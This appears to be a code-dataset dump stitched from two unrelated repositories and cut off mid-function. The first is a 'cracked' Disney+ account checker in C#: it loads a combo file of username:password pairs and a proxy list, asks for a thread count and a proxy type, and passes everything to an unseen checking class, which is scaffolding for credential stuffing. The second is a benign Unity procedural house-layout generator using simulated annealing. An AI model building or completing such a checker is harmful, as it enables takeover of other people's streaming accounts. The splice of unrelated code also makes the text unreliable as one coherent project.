using System.Text;
using System.Threading.Tasks;
using System.Threading;
namespace Disney_
{
class InManager
{
public static void smethod_0()
{
Colorful.Console.Write(DateTime.Now.ToString("h:mm:ss | "), Color.White);
}
// Takes User Input for thread Count;
public static int thread_count() {
int result;
for (; ; )
{
InManager.smethod_0();
Colorful.Console.Write("Threads amount : ", Color.DarkSlateBlue);
Colorful.Console.ForegroundColor = Color.White;
try
{
int num = Convert.ToInt32(Colorful.Console.ReadLine());
Colorful.Console.ResetColor();
result = num;
}
catch
{
Colorful.Console.ForegroundColor = Color.Yellow;
Colorful.Console.WriteLine("[Error: Must be an integer]");
Colorful.Console.ResetColor();
continue;
}
break;
}
return result;
}
public static string proxy_sellect()
{
string result;
for (; ; )
{
InManager.smethod_0();
Colorful.Console.Write("[1]HTTP/[2]SOCKS4/[3]SOCKS5 : ", Color.DarkSlateBlue);
Colorful.Console.ForegroundColor = Color.White;
try
{
string text = Colorful.Console.ReadKey().KeyChar.ToString();
Colorful.Console.WriteLine();
Colorful.Console.ResetColor();
if (!(text == "1") && !(text == "2") && !(text == "3"))
{
Colorful.Console.ForegroundColor = Color.Yellow;
Colorful.Console.WriteLine("[Error: Must be an integer between 1 and 3]");
Colorful.Console.ResetColor();
continue;
}
result = text;
}
catch
{
Colorful.Console.ForegroundColor = Color.Yellow;
Colorful.Console.WriteLine("[Error: Must be an integer]");
Colorful.Console.ResetColor();
continue;
}
break;
}
return result;
}
public static string path_find(string string_0)
{
string path = Application.StartupPath;
string fileName;
if (!string_0.Contains(".txt"))
{
string_0 = string_0+".txt";
}
fileName = path + "\\" + string_0;
return fileName;
}
}
}
<file_sep>/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Colorful;
using System.Drawing;
using System.IO;
using System.Collections.Concurrent;
using System.Windows.Forms.VisualStyles;
using System.Windows.Forms;
using System.Threading;
//The Main File
// https://discord.gg/a5fVCub
//join my discord server!
namespace Disney_
{
class Program
{
static void Main(string[] args)
{
Colorful.Console.Title = "Disney+ Checker Cracked by [Dragon_God#7877]OVERHAX";
LogoPrint.print();
int threads = InManager.thread_count();
string proxy_type = InManager.proxy_sellect();
string combo_path = InManager.path_find("combo");
ConcurrentQueue<string> concurrentQueue = new ConcurrentQueue<string>();
if (!File.Exists(combo_path))
{
MessageBox.Show("Please Create a Combo file in the same folder as the checker");
System.Environment.Exit(0);
}
else
{
using (FileStream fileStream = File.Open(combo_path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
using (BufferedStream bufferedStream = new BufferedStream(fileStream))
{
using (StreamReader streamReader = new StreamReader(bufferedStream))
{
string text2;
while ((text2 = streamReader.ReadLine()) != null)
{
if (text2.Contains(":"))
{
concurrentQueue.Enqueue(text2);
}
}
}
}
}
}
List<string> list = new List<string>();
if (proxy_type != "4")
{
if (!File.Exists(InManager.path_find("proxies")))
{
MessageBox.Show("Please Create a Proxy file in the same folder as the checker.");
System.Environment.Exit(0);
}
else
{
foreach (string item in File.ReadAllLines(InManager.path_find("proxies")))
{
list.Add(item);
}
}
}
Colorful.Console.WriteLine();
Colorful.Console.WriteLine();
important @class = new important(concurrentQueue, list, combo_path);
@class.method_0();
class3.bool_0 = true;
@class.method_6();
@class.method_4();
@class.method_3(threads);
}
}
}
<file_sep>/README.md
# Disney_Plus_checker
A typical Disney + checker
<file_sep>/class3.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace Disney_
{
internal class class3
{
public class3()
{
}
public static bool bool_0;
// Token: <KEY> RID: 27
public static int int_0;
// Token: 0x0400001C RID: 28
public static Color color_0 = Color.DarkSlateBlue;
// Token: <KEY> RID: 29
public static Color color_1 = Color.White;
}
}
|
32f36fed068a52d64756812e0ae2962549c207b4
|
[
"Markdown",
"C#"
] | 6
|
C#
|
MehmetA46/Disney_Plus_checker
|
aa55f4d62a54a37b77f452b1e075d644573ee2da
|
90882f09345e29c6b82767204060cad34fc1dac8
|
refs/heads/main
|
<repo_name>korkonar/DungeonGenerator<file_sep>/Assets/Scripts/UI/RoomsUIScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using DG.Tweening;
public class RoomsUIScript : MonoBehaviour
{
public GameObject toggle;
public GameObject room;
public Transform Content;
public Dropdown typeSelect;
public Transform arrayPanel;
public static List<GameObject> roomsGO;
private ToggleGroup toggles;
public static int id=0;
// Start is called before the first frame update
void Start()
{
roomsGO=new List<GameObject>();
toggles=GetComponent<ToggleGroup>();
}
// Update is called once per frame
void Update()
{
}
public void UpdateRooms(){
foreach(GameObject g in roomsGO){
string ids = g.transform.GetChild(7).GetComponent<Text>().text;
ids= ids.Substring(3);
int id=int.Parse(ids);
HouseGraph.allRooms[id].minSize=float.Parse(g.transform.GetChild(0).GetComponent<InputField>().text);
HouseGraph.allRooms[id].maxSize=float.Parse(g.transform.GetChild(1).GetComponent<InputField>().text);
HouseGraph.allRooms[id].minRatio=float.Parse(g.transform.GetChild(2).GetComponent<InputField>().text);
HouseGraph.allRooms[id].maxRatio=float.Parse(g.transform.GetChild(3).GetComponent<InputField>().text);
}
int child=0;
}
public void AddRoom(){
roomsGO.Add(Instantiate(room, Content));
string name=typeSelect.GetComponentInChildren<Text>().text;
roomsGO[roomsGO.Count-1].transform.GetChild(4).GetComponent<Toggle>().group=toggles;
roomsGO[roomsGO.Count-1].transform.GetChild(5).GetComponent<Text>().text=name;
roomsGO[roomsGO.Count-1].transform.GetChild(6).GetComponent<Text>().text="Type:"+typeSelect.value;
roomsGO[roomsGO.Count-1].transform.GetChild(7).GetComponent<Text>().text="ID:"+id;
HouseGraph.allRooms.Add(id,new Room(0,0,0,0,name,id++,(Room.roomType)typeSelect.value));
}
public void showHide(){
if(transform.position.x==-110.0f){
transform.DOMoveX(110.0f,0.5f);
toggle.transform.GetChild(0).DORotate(new Vector3(0,0,0),0.5f);
}else if(transform.position.x==110.0f){
transform.DOMoveX(-110.0f,0.5f);
toggle.transform.GetChild(0).DORotate(new Vector3(0,0,90),0.5f);
}
}
}
<file_sep>/Assets/Scripts/DataWriting/CsvWriter.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using System.IO;
public class CsvWriter : MonoBehaviour
{
public static string location="C:/Users/BigPC/Desktop/GoodResults/csv/";
public class QualityRecords{
public string Type;
public int ID;
public float sizeAccepted;
public int connections;
public float qualityScore;
public List<roomQuality> rooms;
}
public class roomQuality{
public int ID;
public int size;
public float ratio;
}
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
}
public void writeFileTESTING(){
List<QualityRecords> records = new List<QualityRecords>();
QualityRecords quality=new QualityRecords{Type="3rooms",ID=0,sizeAccepted=1.5f,connections=2,qualityScore=10.0f};
quality.rooms=new List<roomQuality>();
quality.rooms.Add(new roomQuality{ID=0,size=1,ratio=1.5f});
quality.rooms.Add(new roomQuality{ID=1,size=2,ratio=1.5f});
quality.rooms.Add(new roomQuality{ID=2,size=4,ratio=1.5f});
records.Add (quality);
var writer = new StreamWriter(location+"file.csv");
writer.WriteLine("Type, ID, sizeAccepted, connections");
foreach(QualityRecords q in records){
writer.WriteLine(q.Type+", "+q.ID+", "+q.sizeAccepted+", "+q.connections+","+q.qualityScore);
writer.WriteLine(",ID, size, ratio");
foreach(roomQuality r in q.rooms){
writer.WriteLine(","+r.ID+", "+r.size+", "+r.ratio);
}
}
writer.Close();
}
}
<file_sep>/Assets/Scripts/UI/PlotUIScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using DG.Tweening;
using UnityEngine.UI;
public class PlotUIScript : MonoBehaviour
{
public GameObject toggle;
public GameObject plotVertex;
private int plotSize;
public Text plotSizeText;
private List<GameObject> vertexInput;
private DrawPlot plotInf;
public Text debugtext;
public GameObject RoomsCont;
// Start is called before the first frame update
void Start()
{
vertexInput=new List<GameObject>();
plotInf=GameObject.FindGameObjectWithTag("MainCamera").GetComponent<DrawPlot>();
plotSize=plotInf.plot.Length;
transform.GetChild(1).GetComponentInChildren<InputField>().text=""+plotSize;
for(int i=0;i<plotSize;i++){
GameObject v=Instantiate(plotVertex,this.transform.GetChild(2));
v.transform.GetChild(0).GetComponent<InputField>().text=""+plotInf.plot[i].x;
v.transform.GetChild(1).GetComponent<InputField>().text=""+plotInf.plot[i].y;
vertexInput.Add(v);
}
}
// Update is called once per frame
void Update()
{
}
public void UpdateVertexInputs(){
string size= plotSizeText.text;
int sizeInt;
int.TryParse(size,out sizeInt);
if(sizeInt!=null){
plotSize=sizeInt;
vertexInput.Clear();
for(int i=this.transform.GetChild(2).childCount-1;i>=0;i--){
Destroy(this.transform.GetChild(2).GetChild(i).gameObject);
}
for(int i=0;i<plotSize;i++){
GameObject v=Instantiate(plotVertex,this.transform.GetChild(2));
vertexInput.Add(v);
}
}
}
public void UpdatePlot(){
bool correctVal=true;
Vector2[] newPlot=new Vector2[plotSize];
int i=0;
foreach(GameObject g in vertexInput){
string sx=g.transform.GetChild(0).GetComponentInChildren<Text>().text;
string sy=g.transform.GetChild(1).GetComponentInChildren<Text>().text;
float x,y;
float.TryParse(sx,out x);
float.TryParse(sy,out y);
if(x!=null && sy!=null){
newPlot[i++]=new Vector2(x,y);
}else{
correctVal=false;
debugtext.text="Vector values incorrect";
break;
}
print(i);
}
if(correctVal){
plotInf.plot=newPlot;
plotInf.UpdatePlot();
GameObject.FindGameObjectWithTag("MainCamera").GetComponent<GridDrawingScript>().UpdateGrid();
HouseGraph.allRooms.Clear();
RoomsUIScript.id=0;
foreach(GameObject g in RoomsUIScript.roomsGO){
Destroy(g.gameObject);
}
RoomsUIScript.roomsGO.Clear();
StartCoroutine(GameObject.FindGameObjectWithTag("MainCamera").GetComponent<CellGridScript>().LateStart(0.1f));
}
}
public void showHide(){
if(transform.position.x==-110.0f){
transform.DOMoveX(110.0f,0.5f);
toggle.transform.GetChild(0).DORotate(new Vector3(0,0,0),0.5f);
RoomsCont.transform.DOMoveY(600, 0.5f);
}else if(transform.position.x==110.0f){
transform.DOMoveX(-110.0f,0.5f);
toggle.transform.GetChild(0).DORotate(new Vector3(0,0,90),0.5f);
RoomsCont.transform.DOMoveY(960, 0.5f);
}
}
}
<file_sep>/Assets/Scripts/Visual/DrawPlot.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DrawPlot : MonoBehaviour
{
public bool Draw2D;
public Material plotMat;
public Vector2[] plot;
public int numCells;
// Start is called before the first frame update
void Awake()
{
//determine the size grid required
Vector2 minVal= new Vector2(500,500);
Vector2 maxVal= Vector2.zero;
foreach( Vector2 v in plot){
if(v.x<minVal.x)minVal.x=v.x;
if(v.y<minVal.y)minVal.y=v.y;
if(v.x>maxVal.x)maxVal.x=v.x;
if(v.y>maxVal.y)maxVal.y=v.y;
}
print(minVal);
print(maxVal);
//Move the plot closer to 0,0
if(minVal.x>23){
do{
for(int i=0;i<plot.Length;i++){
plot[i]=plot[i]-new Vector2Int(1,0);
}
minVal-=new Vector2(1,0);
maxVal-=new Vector2(1,0);
}while(minVal.x>3);
}
if(minVal.y>3){
do{
for(int i=0;i<plot.Length;i++){
plot[i]=plot[i]-new Vector2Int(0,1);
}
minVal-=new Vector2(0,1);
maxVal-=new Vector2(0,1);
}while(minVal.y>1);
}
int Xdist=(int)maxVal.x-(int)minVal.x;
int Ydist=(int)maxVal.y-(int)minVal.y;
if(Xdist>Ydist){
numCells=Xdist+7;
//numCells=Mathf.NextPowerOfTwo(numCells);
}else{
numCells=Ydist+7;
//numCells=Mathf.NextPowerOfTwo(numCells);
}
//print(numCells);
}
// Update is called once per frame
public void UpdatePlot()
{
//determine the size grid required
Vector2 minVal= new Vector2(500,500);
Vector2 maxVal= Vector2.zero;
foreach( Vector2 v in plot){
if(v.x<minVal.x)minVal.x=v.x;
if(v.y<minVal.y)minVal.y=v.y;
if(v.x>maxVal.x)maxVal.x=v.x;
if(v.y>maxVal.y)maxVal.y=v.y;
}
print(minVal);
print(maxVal);
//Move the plot closer to 0,0
if(minVal.x>5){
do{
for(int i=0;i<plot.Length;i++){
plot[i]=plot[i]-new Vector2Int(5,0);
}
minVal-=new Vector2(5,0);
maxVal-=new Vector2(5,0);
}while(minVal.x>5);
}
if(minVal.y>5){
do{
for(int i=0;i<plot.Length;i++){
plot[i]=plot[i]-new Vector2Int(0,5);
}
minVal-=new Vector2(0,5);
maxVal-=new Vector2(0,5);
}while(minVal.y>5);
}
int Xdist=(int)maxVal.x-(int)minVal.x;
int Ydist=(int)maxVal.y-(int)minVal.y;
if(Xdist>Ydist){
numCells=Xdist+10;
}else{
numCells=Ydist+10;
}
//print(numCells);
}
void OnPostRender()
{
if(Draw2D){
float cellSize=1.0f/numCells;
if (!plotMat)
{
Debug.LogError("Please Assign a material on the inspector");
return;
}
GL.PushMatrix();
GL.LoadOrtho();
//draw plot
plotMat.SetPass(0);
GL.Begin(GL.LINES);
for(int i=0;i<plot.Length;i++){
//GL.Color(Color.red);
GL.Vertex3(plot[i].x*cellSize+(cellSize/2),plot[i].y*cellSize+(cellSize/2),1);
if(i+1<plot.Length){
GL.Vertex3(plot[i+1].x*cellSize+(cellSize/2),plot[i+1].y*cellSize+(cellSize/2),1);
}else{
GL.Vertex3(plot[0].x*cellSize+(cellSize/2),plot[0].y*cellSize+(cellSize/2),1);
}
}
GL.End();
GL.PopMatrix();
}
}
}
<file_sep>/Assets/Scripts/UI/PaintManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class PaintManager : MonoBehaviour
{
public RoomsUIScript rooms;
private Room currRoom;
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
if(Input.GetMouseButtonDown(0) && Input.GetKey(KeyCode.LeftControl)){
int x = (int)(Input.mousePosition.x/(1000.0f/CellGridScript.CellArray.GetLength(0)));
int y = (int)(Input.mousePosition.y/(1000.0f/CellGridScript.CellArray.GetLength(0)));
//print((x-1)+", "+(y-1));
if(CellGridScript.CellArray[x-1,y-1].location>(CellGridScript.cellLocation)1){
CellGridScript.CellArray[x-1,y-1].roomId=currRoom.ID;
CellGridScript.CellArray[x-1,y-1].wallSide=new Vector4(1,1,1,1);
bool outer=false;
if(CellGridScript.CellArray[x-1,y-2].roomId==currRoom.ID){
CellGridScript.CellArray[x-1,y-2].wallSide.x=0;
CellGridScript.CellArray[x-1,y-1].wallSide.y=0;
}else outer=true;
if(CellGridScript.CellArray[x-1,y].roomId==currRoom.ID){
CellGridScript.CellArray[x-1,y].wallSide.y=0;
CellGridScript.CellArray[x-1,y-1].wallSide.x=0;
}else outer=true;
if(CellGridScript.CellArray[x-2,y-1].roomId==currRoom.ID){
CellGridScript.CellArray[x-2,y-1].wallSide.z=0;
CellGridScript.CellArray[x-1,y-1].wallSide.w=0;
}else outer=true;
if(CellGridScript.CellArray[x,y-1].roomId==currRoom.ID){
CellGridScript.CellArray[x,y-1].wallSide.w=0;
CellGridScript.CellArray[x-1,y-1].wallSide.z=0;
}else outer=true;
if(!currRoom.outerCells.Contains(new Vector2Int(x-1,y-1)) && outer){
currRoom.outerCells.Add(new Vector2Int(x-1,y-1));
}
currRoom.currSize++;
currRoom.reCalculateCenterPoint();
currRoom.currRatio=currRoom.reCalculateRatio(0,0);
}
//update viewer
for(int i=0;i<RoomsUIScript.roomsGO.Count;i++){
if(RoomsUIScript.roomsGO[i].transform.GetChild(4).GetComponent<Toggle>().isOn){
RoomsUIScript.roomsGO[i].transform.GetChild(8).GetComponent<Text>().text="Size: "+currRoom.currSize;
RoomsUIScript.roomsGO[i].transform.GetChild(9).GetComponent<Text>().text="Ratio: "+currRoom.currRatio;
break;
}
}
}
}
public void ChangeRoomToPaint(){
for(int i=0;i<RoomsUIScript.roomsGO.Count;i++){
if(RoomsUIScript.roomsGO[i].transform.GetChild(4).GetComponent<Toggle>().isOn){
currRoom=HouseGraph.allRooms[i];
break;
}
}
}
}
<file_sep>/Assets/Scripts/Method/GrowthMethod.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Profiling;
public class GrowthMethod : MonoBehaviour
{
public CameraCapture capture;
public static int initialized=0;
public static CellGridScript.cell[,] CellArrayTest;
int growingfloor=0;
int phase=0;
bool someMove;
bool startedCoroutine=false;
float currScore=0;
int roomIndInFloor=0;
int iterations=0;
int badIterations;
int maxBadIterations=1800; //10000
bool done=false;
//bool pic=false;
int currRun=0;
int NumRuns=0;
int frames=20;
int CapFrames=3000;
int frameInt=0;
//Simulated annealling
float P;
float T;//temperature
float initT=20;
float CoolingRate;
public bool DebugFit ;
bool first=true;
int didntMove=0;
#region FitFactors
float MinSizeM=3.5f;//3.5
float MaxSizeM=2.4f;//2.4
float RatioM=2.5f;//1.5
float AvDistM=15.0f;//12.4
float RectM=2.5f;//2.5
float ConnectM=1.2f;//1.4
float OneWideM=7.2f;//8.2
float FillM=3.0f;//3.0
float FillMb=1.0f;//1.0
#endregion
static bool stole=false;
static float prevToFill=0.0f;
// Start is called before the first frame update
void Start()
{
T=initT;
CoolingRate=0.9995f;
NumRuns=HouseGraph.numberOfHouses-1;
//print(CoolingRate);
}
// Update is called once per frame
void FixedUpdate()
{
//print(initialized);
if(initialized>=2){
Floor f =HouseGraph.floors[growingfloor];
if(CellGridScript.currFloorId!=f.floorId){
RoomInitialPositions(f);
}else{
if(!done){
HillClimbingGrowth(f);
//Debug.Break();
}
}
}
}
void cooling(){
T=(T*CoolingRate);
//print(T);
}
void HillClimbingGrowth(Floor f){
//frames++;
//if(frames>CapFrames){
// frameInt++;
// if(frameInt>250){
// capture.CaptureFrame(currRun,currScore,iterations,true);
// frameInt=0;
// }else{
// capture.CaptureFrame(currRun,currScore,iterations,false);
// }
////
// frames=0;
// CapFrames++;
//}
for(int ix=0;ix<CellGridScript.CellArray.GetLength(0);ix++){
for(int iy=0;iy<CellGridScript.CellArray.GetLength(1);iy++){
CellArrayTest[ix,iy].location=CellGridScript.CellArray[ix,iy].location;
CellArrayTest[ix,iy].roomId=CellGridScript.CellArray[ix,iy].roomId;
CellArrayTest[ix,iy].wallSide=CellGridScript.CellArray[ix,iy].wallSide;
}
}
foreach(Room r in HouseGraph.allRooms.Values){
HouseGraph.allRoomsTest[r.ID].centerPoint=r.centerPoint;
HouseGraph.allRoomsTest[r.ID].currRatio=r.currRatio;
HouseGraph.allRoomsTest[r.ID].currSize=r.currSize;
HouseGraph.allRoomsTest[r.ID].corners=r.corners;
HouseGraph.allRoomsTest[r.ID].outerCells.Clear();
foreach(Vector2Int v in r.outerCells){
HouseGraph.allRoomsTest[r.ID].outerCells.Add(v);
}
}
someMove=false;
bool effective=false;
int tested=0;
int currRoom=f.rooms[roomIndInFloor];
do{
effective=false;
#region EqualChances
int rMove=Random.Range(0,3);
stole=false;
switch(rMove){
case 0:
//grow
effective=HouseGraph.allRoomsTest[currRoom].AddCell();
tested++;
break;
case 1:
//shrink
effective=HouseGraph.allRoomsTest[currRoom].RemoveCell();
tested++;
break;
case 2:
//steal
effective=HouseGraph.allRoomsTest[currRoom].StealCell();
if(effective)stole=true;
tested++;
break;
case 3:
//grow Non rectangular
tested++;
break;
case 4:
//exchange
tested++;
break;
}
#endregion
#region GrowHigherChance
//float val=Random.value;
////print(grow);
//if(val<=grow){
// effective=HouseGraph.allRoomsTest[currRoom].AddCell();
//}else if(val<=grow+0.33f){
// effective=HouseGraph.allRoomsTest[currRoom].RemoveCell();
//}else{
// effective=HouseGraph.allRoomsTest[currRoom].StealCell();
//}
#endregion
if(effective)someMove=true;
if(tested>10){
//print("didnt move");
stole=false;
didntMove++;
break;
}
}while(!effective);
if(effective){
float newScore=calculateFitFunction(true);
float PVal=Mathf.Exp((-Mathf.Abs(newScore-currScore)*1.5f)/(T));
if(DebugFit)print(currRun+", "+iterations+": "+currScore+"<>"+newScore+" PVal:"+PVal);
//print(PVal);
if(currScore<newScore){
badIterations=0;
for(int ix=0;ix<CellGridScript.CellArray.GetLength(0);ix++){
for(int iy=0;iy<CellGridScript.CellArray.GetLength(1);iy++){
CellGridScript.CellArray[ix,iy].location=CellArrayTest[ix,iy].location;
CellGridScript.CellArray[ix,iy].roomId=CellArrayTest[ix,iy].roomId;
CellGridScript.CellArray[ix,iy].wallSide=CellArrayTest[ix,iy].wallSide;
}
}
foreach(Room r in HouseGraph.allRoomsTest.Values){
HouseGraph.allRooms[r.ID].centerPoint=r.centerPoint;
HouseGraph.allRooms[r.ID].currRatio=r.currRatio;
HouseGraph.allRooms[r.ID].currSize=r.currSize;
HouseGraph.allRooms[r.ID].corners=r.corners;
HouseGraph.allRooms[r.ID].outerCells.Clear();
foreach(Vector2Int v in r.outerCells){
HouseGraph.allRooms[r.ID].outerCells.Add(v);
}
}
currScore=newScore;
}else{
P=Random.value;
badIterations++;
if(P<PVal){
//print("force change");
for(int ix=0;ix<CellGridScript.CellArray.GetLength(0);ix++){
for(int iy=0;iy<CellGridScript.CellArray.GetLength(1);iy++){
CellGridScript.CellArray[ix,iy].location=CellArrayTest[ix,iy].location;
CellGridScript.CellArray[ix,iy].roomId=CellArrayTest[ix,iy].roomId;
CellGridScript.CellArray[ix,iy].wallSide=CellArrayTest[ix,iy].wallSide;
}
}
foreach(Room r in HouseGraph.allRoomsTest.Values){
HouseGraph.allRooms[r.ID].centerPoint=r.centerPoint;
HouseGraph.allRooms[r.ID].currRatio=r.currRatio;
HouseGraph.allRooms[r.ID].currSize=r.currSize;
HouseGraph.allRooms[r.ID].corners=r.corners;
HouseGraph.allRooms[r.ID].outerCells.Clear();
foreach(Vector2Int v in r.outerCells){
HouseGraph.allRooms[r.ID].outerCells.Add(v);
}
}
currScore=newScore;
}
}
cooling();
iterations++;
//print(iterations);
if(badIterations>=maxBadIterations){
done=true;
//if(!pic){
// capture.Capture(currRun,currScore,iterations,Time.unscaledTime);
// pic=true;
//}
if(currRun<NumRuns){
currRun++;
initialized=0;
//GetComponent<HouseGraph>().SaveHouse(currScore,1,iterations);
GetComponent<HouseGraph>().Reset();
GetComponent<CellGridScript>().ResetArray();
CellGridScript.init=false;
CellGridScript.currFloorId=555;
T=initT;
badIterations=0;
//pic=false;
iterations=0;
done=false;
startedCoroutine=false;
}else{
//GetComponent<HouseGraph>().SaveHouse(currScore,1,iterations);
//CsvWriter.WriteFile(iterations,Time.unscaledTime);
GetComponent<Model>().Generate();
Time.fixedDeltaTime=0.016f;
print("Time for "+currRun+" runs with +-"+iterations+" iterations, Time: "+ Time.unscaledTime);
print("didnt Move:"+didntMove);
print("DONE!");
}
}
}
roomIndInFloor++;
if(roomIndInFloor>=f.rooms.Count){
roomIndInFloor=0;
}
}
public void newGen(){
Time.fixedDeltaTime=0.00001f;
initialized=0;
//GetComponent<HouseGraph>().SaveHouse(currScore,1,iterations);
GetComponent<HouseGraph>().Reset();
GetComponent<CellGridScript>().ResetArray();
CellGridScript.init=false;
CellGridScript.currFloorId=555;
T=initT;
badIterations=0;
//pic=false;
iterations=0;
done=false;
startedCoroutine=false;
}
float calculateFitFunction(bool test){
float toMinSize=0.0f;
float toRatio=0.0f;
float AvDist=0.0f;
float ToConnectivity=0.0f;
float ToRectangular=0.0f;
float ToMaxSize=0.0f;
float penalizeOneWide=0.0f;
float ToFill=0.0f;
float ToFillb=0.0f;
int distances=0;
Vector2Int minv= new Vector2Int(500,500);
Vector2Int maxv= Vector2Int.zero;
if(test){
int size=0;
foreach(Room r in HouseGraph.allRoomsTest.Values){
size+=r.currSize;
if(r.currSize< r.minSize){
toMinSize += (r.currSize-r.minSize);
}else if(r.currSize >= r.minSize && r.currSize <= r.maxSize){
toMinSize += (r.currSize-r.minSize);
ToMaxSize += (r.maxSize-r.currSize);
}else{
ToMaxSize += (r.maxSize-r.currSize);
}
toRatio += (r.maxRatio-r.currRatio);
foreach(Room r2 in HouseGraph.allRoomsTest.Values){
if(r2.ID!=r.ID){
if(r.connections.Contains(r2.ID)){
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint)*1.5f;
AvDist-=Mathf.Sqrt(r.maxSize);
}else{
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint);
AvDist-=Mathf.Sqrt(r.maxSize);
}
distances++;
}
}
int corners=0;
float upsameCon=0.25f;
float downsameCon=0.25f;
float rightsameCon=0.25f;
float leftsameCon=0.25f;
float upsame=0.5f;
float downsame=0.5f;
float rightsame=0.5f;
float leftsame=0.5f;
foreach(Vector2Int v in r.outerCells){
if(v.x>maxv.x)maxv.x=v.x;
if(v.y>maxv.y)maxv.y=v.y;
if(v.x<minv.x)minv.x=v.x;
if(v.y<minv.y)minv.y=v.y;
Vector4 walls=CellArrayTest[v.x,v.y].wallSide;
if(walls.x==1){
if(CellArrayTest[v.x,v.y+1].roomId<99){
ToConnectivity+=1f/(upsameCon);
upsameCon+=0.25f;
}else{
ToConnectivity-=1f/upsame;
upsame+=0.75f;
}
}
if(walls.y==1){
if(CellArrayTest[v.x,v.y-1].roomId<99){
ToConnectivity+=1f/(downsameCon);
downsameCon+=0.30f;
}else{
ToConnectivity-=1f/downsame;
downsame+=0.75f;
}
}
if(walls.z==1){
if(CellArrayTest[v.x+1,v.y].roomId<99){
ToConnectivity+=1f/(rightsameCon);
rightsameCon+=0.30f;
}else{
ToConnectivity-=1f/rightsame;
rightsame+=0.75f;
}
}
if(walls.w==1){
if(CellArrayTest[v.x-1,v.y].roomId<99){
ToConnectivity+=1f/(leftsameCon);
leftsameCon+=0.30f;
}else{
ToConnectivity-=1f/leftsame;
leftsame+=0.75f;
}
}
}
foreach(Vector2Int v in r.outerCells){
Vector4 wallSide=CellArrayTest[v.x,v.y].wallSide;
if(wallSide.x==1){
if(CellArrayTest[v.x,v.y+1].roomId>=99 && CellArrayTest[v.x,v.y+2].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.y==1){
if(CellArrayTest[v.x,v.y-1].roomId>=99 && CellArrayTest[v.x,v.y-2].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.z==1){
if(CellArrayTest[v.x+1,v.y].roomId>=99 && CellArrayTest[v.x+2,v.y].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.w==1){
if(CellArrayTest[v.x-1,v.y].roomId>=99 && CellArrayTest[v.x-2,v.y].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.x+wallSide.y==2)penalizeOneWide--;
if(wallSide.z+wallSide.w==2)penalizeOneWide--;
if(wallSide.x==1 && wallSide.z==1)corners++;
if(wallSide.x==1 &&wallSide.w==1)corners++;
if(wallSide.y==1 && wallSide.z==1)corners++;
if(wallSide.y==1 && wallSide.w==1)corners++;
if(wallSide.x==1 && (CellArrayTest[v.x+1,v.y+1].wallSide.w==1 && CellArrayTest[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.x==1 && (CellArrayTest[v.x-1,v.y+1].wallSide.z==1 && CellArrayTest[v.x-1,v.y+1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellArrayTest[v.x+1,v.y-1].wallSide.w==1 && CellArrayTest[v.x+1,v.y-1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellArrayTest[v.x-1,v.y-1].wallSide.z==1 && CellArrayTest[v.x-1,v.y-1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellArrayTest[v.x+1,v.y+1].wallSide.y==1 && CellArrayTest[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellArrayTest[v.x+1,v.y-1].wallSide.x==1 && CellArrayTest[v.x+1,v.y-1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellArrayTest[v.x-1,v.y+1].wallSide.y==1 && CellArrayTest[v.x-1,v.y+1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellArrayTest[v.x-1,v.y-1].wallSide.x==1 && CellArrayTest[v.x-1,v.y-1].roomId==r.ID))corners++;
}
if(r.Type!=Room.roomType.hall){
ToRectangular+=-Mathf.Pow((corners-4),2);
}else{
ToRectangular-=Mathf.Pow((corners-4),1.2f);
}
r.corners=corners;
}
AvDist=AvDist/distances;
AvDist=-Mathf.Pow(AvDist,2);
if(stole){
ToFill=prevToFill;
}else{
int outsidecells=FindOusideCellsTest(minv.x,maxv.x,minv.y,maxv.y);
ToFill=((((maxv.x+1)-(minv.x-1))+1)*(((maxv.y+1)-(minv.y-1))+1))-(outsidecells+size);
prevToFill=ToFill;
}
//print(((((maxv.x+1)-(minv.x-1))+1)*(((maxv.y+1)-(minv.y-1))+1))+"-("+outsidecells+"+"+size+")="+ToFill);
}else{
int size=0;
foreach(Room r in HouseGraph.allRooms.Values){
size+=r.currSize;
if(r.currSize< r.minSize){
toMinSize += (r.currSize-r.minSize);
}else if(r.currSize >= r.minSize && r.currSize <= r.maxSize){
toMinSize += (r.currSize-r.minSize);
ToMaxSize += (r.maxSize-r.currSize);
}else{
ToMaxSize += (r.maxSize-r.currSize);
}
toRatio += (r.maxRatio-r.currRatio);
foreach(Room r2 in HouseGraph.allRooms.Values){
if(r2.ID!=r.ID){
if(r.connections.Contains(r2.ID)){
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint)*1.5f;
AvDist-=Mathf.Sqrt(r.maxSize);
}else{
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint);
AvDist-=Mathf.Sqrt(r.maxSize);
}
distances++;
}
}
int corners=0;
float upsameCon=0.25f;
float downsameCon=0.25f;
float rightsameCon=0.25f;
float leftsameCon=0.25f;
float upsame=0.5f;
float downsame=0.5f;
float rightsame=0.5f;
float leftsame=0.5f;
foreach(Vector2Int v in r.outerCells){
if(v.x>maxv.x)maxv.x=v.x;
if(v.y>maxv.y)maxv.y=v.y;
if(v.x<minv.x)minv.x=v.x;
